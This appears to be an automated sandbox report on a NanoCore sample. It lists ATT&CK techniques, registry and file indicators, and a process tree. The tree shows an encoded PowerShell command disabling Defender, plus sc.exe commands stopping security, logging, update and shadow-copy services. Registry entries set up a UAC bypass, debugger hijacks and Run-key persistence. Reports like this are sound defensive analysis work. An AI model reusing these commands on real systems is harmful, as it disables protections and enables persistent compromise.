nanocore | 2e19e4facf53a1ee6ae8642d68d0d8cc9c69574432f354d830deade05b84ba96

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	xoilac365tv.pro_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	xoilac365tv.pro_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1572	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	xoilac365tv.pro_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	xoilac365tv.pro_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	xoilac365tv.pro_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac365tv.pro_nano.exe"	xoilac365tv.pro_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	xoilac365tv.pro_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac365tv.pro_nano.exe"	xoilac365tv.pro_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	xoilac365tv.pro_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac365tv.pro_nano.exe"	xoilac365tv.pro_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4560	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation	xoilac365tv.pro_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilac365tv.pro_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	xoilac365tv.pro_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilac365tv.pro_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac365tv.pro_nano.exe"	xoilac365tv.pro_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac365tv.pro_nano.exe"	xoilac365tv.pro_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac365tv.pro_nano.exe"	xoilac365tv.pro_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac365tv.pro_nano.exe"	xoilac365tv.pro_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
1552	net.exe
228	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2608	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\sysupdate.exe	xoilac365tv.pro_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	xoilac365tv.pro_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	xoilac365tv.pro_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	xoilac365tv.pro_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	xoilac365tv.pro_nano.exe
File created	C:\Windows\system32\svchost.exe	xoilac365tv.pro_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
512	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	xoilac365tv.pro_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	xoilac365tv.pro_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
1800	xoilac365tv.pro_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
512	sc.exe
3140	sc.exe
1080	sc.exe
180	sc.exe
4352	sc.exe
4520	sc.exe
4072	sc.exe
5076	sc.exe
1220	sc.exe
4304	sc.exe
1068	sc.exe
4548	sc.exe
3612	sc.exe
984	sc.exe
372	sc.exe
332	sc.exe
3060	sc.exe
2040	sc.exe
4404	sc.exe
5008	sc.exe
5080	sc.exe
3580	sc.exe
2140	sc.exe
3296	sc.exe
2148	sc.exe
392	sc.exe
2768	sc.exe
4056	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2740	cmd.exe
1028	cmd.exe
2232	cmd.exe
1656	cmd.exe
3400	cmd.exe
3224	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	xoilac365tv.pro_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	xoilac365tv.pro_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4772	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
5048	ipconfig.exe
4088	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4340	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4872	vssadmin.exe
3988	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\WallpaperStyle = "2"	xoilac365tv.pro_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open	xoilac365tv.pro_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac365tv.pro_nano.exe"	xoilac365tv.pro_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command\DelegateExecute	xoilac365tv.pro_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open	xoilac365tv.pro_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command	xoilac365tv.pro_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings	xoilac365tv.pro_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\.pdf\ = "PDFBotnet"	xoilac365tv.pro_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	xoilac365tv.pro_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	xoilac365tv.pro_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	xoilac365tv.pro_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac365tv.pro_nano.exe\" \"%1\""	xoilac365tv.pro_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command	xoilac365tv.pro_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell	xoilac365tv.pro_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	xoilac365tv.pro_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings	xoilac365tv.pro_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell	xoilac365tv.pro_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4000	schtasks.exe
1852	schtasks.exe
4852	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1572	powershell.exe
1572	powershell.exe
1572	powershell.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe
1800	xoilac365tv.pro_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1800	xoilac365tv.pro_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1572	powershell.exe
Token: SeIncreaseQuotaPrivilege	404	WMIC.exe
Token: SeSecurityPrivilege	404	WMIC.exe
Token: SeTakeOwnershipPrivilege	404	WMIC.exe
Token: SeLoadDriverPrivilege	404	WMIC.exe
Token: SeSystemProfilePrivilege	404	WMIC.exe
Token: SeSystemtimePrivilege	404	WMIC.exe
Token: SeProfSingleProcessPrivilege	404	WMIC.exe
Token: SeIncBasePriorityPrivilege	404	WMIC.exe
Token: SeCreatePagefilePrivilege	404	WMIC.exe
Token: SeBackupPrivilege	404	WMIC.exe
Token: SeRestorePrivilege	404	WMIC.exe
Token: SeShutdownPrivilege	404	WMIC.exe
Token: SeDebugPrivilege	404	WMIC.exe
Token: SeSystemEnvironmentPrivilege	404	WMIC.exe
Token: SeRemoteShutdownPrivilege	404	WMIC.exe
Token: SeUndockPrivilege	404	WMIC.exe
Token: SeManageVolumePrivilege	404	WMIC.exe
Token: 33	404	WMIC.exe
Token: 34	404	WMIC.exe
Token: 35	404	WMIC.exe
Token: 36	404	WMIC.exe
Token: SeDebugPrivilege	1800	xoilac365tv.pro_nano.exe
Token: SeIncreaseQuotaPrivilege	404	WMIC.exe
Token: SeSecurityPrivilege	404	WMIC.exe
Token: SeTakeOwnershipPrivilege	404	WMIC.exe
Token: SeLoadDriverPrivilege	404	WMIC.exe
Token: SeSystemProfilePrivilege	404	WMIC.exe
Token: SeSystemtimePrivilege	404	WMIC.exe
Token: SeProfSingleProcessPrivilege	404	WMIC.exe
Token: SeIncBasePriorityPrivilege	404	WMIC.exe
Token: SeCreatePagefilePrivilege	404	WMIC.exe
Token: SeBackupPrivilege	404	WMIC.exe
Token: SeRestorePrivilege	404	WMIC.exe
Token: SeShutdownPrivilege	404	WMIC.exe
Token: SeDebugPrivilege	404	WMIC.exe
Token: SeSystemEnvironmentPrivilege	404	WMIC.exe
Token: SeRemoteShutdownPrivilege	404	WMIC.exe
Token: SeUndockPrivilege	404	WMIC.exe
Token: SeManageVolumePrivilege	404	WMIC.exe
Token: 33	404	WMIC.exe
Token: 34	404	WMIC.exe
Token: 35	404	WMIC.exe
Token: 36	404	WMIC.exe
Token: SeIncBasePriorityPrivilege	1800	xoilac365tv.pro_nano.exe
Token: SeDebugPrivilege	1480	whoami.exe
Token: SeDebugPrivilege	4088	NETSTAT.EXE
Token: SeDebugPrivilege	2608	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4872	WMIC.exe
Token: SeSecurityPrivilege	4872	WMIC.exe
Token: SeTakeOwnershipPrivilege	4872	WMIC.exe
Token: SeLoadDriverPrivilege	4872	WMIC.exe
Token: SeSystemProfilePrivilege	4872	WMIC.exe
Token: SeSystemtimePrivilege	4872	WMIC.exe
Token: SeProfSingleProcessPrivilege	4872	WMIC.exe
Token: SeIncBasePriorityPrivilege	4872	WMIC.exe
Token: SeCreatePagefilePrivilege	4872	WMIC.exe
Token: SeBackupPrivilege	4872	WMIC.exe
Token: SeRestorePrivilege	4872	WMIC.exe
Token: SeShutdownPrivilege	4872	WMIC.exe
Token: SeDebugPrivilege	4872	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4872	WMIC.exe
Token: SeRemoteShutdownPrivilege	4872	WMIC.exe
Token: SeUndockPrivilege	4872	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1800	xoilac365tv.pro_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 1572	1800	xoilac365tv.pro_nano.exe	88
PID 1800 wrote to memory of 372	1800	xoilac365tv.pro_nano.exe	89
PID 1800 wrote to memory of 1080	1800	xoilac365tv.pro_nano.exe	153
PID 1800 wrote to memory of 2140	1800	xoilac365tv.pro_nano.exe	93
PID 1800 wrote to memory of 332	1800	xoilac365tv.pro_nano.exe	96
PID 1800 wrote to memory of 3060	1800	xoilac365tv.pro_nano.exe	98
PID 1800 wrote to memory of 1220	1800	xoilac365tv.pro_nano.exe	100
PID 1800 wrote to memory of 3296	1800	xoilac365tv.pro_nano.exe	102
PID 1800 wrote to memory of 2040	1800	xoilac365tv.pro_nano.exe	104
PID 1800 wrote to memory of 4304	1800	xoilac365tv.pro_nano.exe	106
PID 1800 wrote to memory of 180	1800	xoilac365tv.pro_nano.exe	108
PID 1800 wrote to memory of 1068	1800	xoilac365tv.pro_nano.exe	110
PID 1800 wrote to memory of 4352	1800	xoilac365tv.pro_nano.exe	112
PID 1800 wrote to memory of 4520	1800	xoilac365tv.pro_nano.exe	114
PID 1800 wrote to memory of 2148	1800	xoilac365tv.pro_nano.exe	116
PID 1800 wrote to memory of 4404	1800	xoilac365tv.pro_nano.exe	118
PID 1800 wrote to memory of 392	1800	xoilac365tv.pro_nano.exe	120
PID 1800 wrote to memory of 2768	1800	xoilac365tv.pro_nano.exe	122
PID 1800 wrote to memory of 5008	1800	xoilac365tv.pro_nano.exe	169
PID 1800 wrote to memory of 4056	1800	xoilac365tv.pro_nano.exe	126
PID 1800 wrote to memory of 512	1800	xoilac365tv.pro_nano.exe	171
PID 1800 wrote to memory of 3140	1800	xoilac365tv.pro_nano.exe	130
PID 1800 wrote to memory of 5080	1800	xoilac365tv.pro_nano.exe	132
PID 1800 wrote to memory of 4072	1800	xoilac365tv.pro_nano.exe	134
PID 1800 wrote to memory of 3580	1800	xoilac365tv.pro_nano.exe	136
PID 1800 wrote to memory of 4632	1800	xoilac365tv.pro_nano.exe	138
PID 1800 wrote to memory of 5076	1800	xoilac365tv.pro_nano.exe	174
PID 1800 wrote to memory of 4548	1800	xoilac365tv.pro_nano.exe	141
PID 1800 wrote to memory of 4872	1800	xoilac365tv.pro_nano.exe	179
PID 1800 wrote to memory of 404	1800	xoilac365tv.pro_nano.exe	145
PID 4632 wrote to memory of 1424	4632	fodhelper.exe	147
PID 1800 wrote to memory of 4000	1800	xoilac365tv.pro_nano.exe	149
PID 1800 wrote to memory of 1852	1800	xoilac365tv.pro_nano.exe	151
PID 1800 wrote to memory of 3224	1800	xoilac365tv.pro_nano.exe	157
PID 1800 wrote to memory of 3400	1800	xoilac365tv.pro_nano.exe	159
PID 1800 wrote to memory of 1656	1800	xoilac365tv.pro_nano.exe	160
PID 1800 wrote to memory of 2232	1800	xoilac365tv.pro_nano.exe	161
PID 1800 wrote to memory of 1028	1800	xoilac365tv.pro_nano.exe	162
PID 1800 wrote to memory of 2740	1800	xoilac365tv.pro_nano.exe	163
PID 1800 wrote to memory of 4852	1800	xoilac365tv.pro_nano.exe	164
PID 1800 wrote to memory of 512	1800	xoilac365tv.pro_nano.exe	171
PID 3400 wrote to memory of 4340	3400	cmd.exe	172
PID 2232 wrote to memory of 1480	2232	cmd.exe	173
PID 1800 wrote to memory of 5076	1800	xoilac365tv.pro_nano.exe	174
PID 1028 wrote to memory of 5048	1028	cmd.exe	175
PID 1656 wrote to memory of 2608	1656	cmd.exe	176
PID 2740 wrote to memory of 4088	2740	cmd.exe	177
PID 3224 wrote to memory of 3988	3224	cmd.exe	178
PID 3224 wrote to memory of 4872	3224	cmd.exe	179
PID 1800 wrote to memory of 5088	1800	xoilac365tv.pro_nano.exe	181
PID 1800 wrote to memory of 4560	1800	xoilac365tv.pro_nano.exe	183
PID 1800 wrote to memory of 984	1800	xoilac365tv.pro_nano.exe	184
PID 1800 wrote to memory of 3612	1800	xoilac365tv.pro_nano.exe	185
PID 1800 wrote to memory of 752	1800	xoilac365tv.pro_nano.exe	186
PID 1800 wrote to memory of 4772	1800	xoilac365tv.pro_nano.exe	187
PID 5088 wrote to memory of 4544	5088	net.exe	192
PID 1800 wrote to memory of 1552	1800	xoilac365tv.pro_nano.exe	194
PID 1800 wrote to memory of 224	1800	xoilac365tv.pro_nano.exe	196
PID 1552 wrote to memory of 228	1552	net.exe	198
PID 224 wrote to memory of 4636	224	net.exe	199

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\xoilac365tv.pro_nano.exe
"C:\Users\Admin\AppData\Local\Temp\xoilac365tv.pro_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1572
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:372
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1080
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2140
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:332
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3060
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1220
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3296
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2040
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4304
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:180
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:1068
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:4352
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:4520
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:2148
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:4404
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:392
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:2768
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:5008
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:4056
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:512
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:3140
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:5080
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:4072
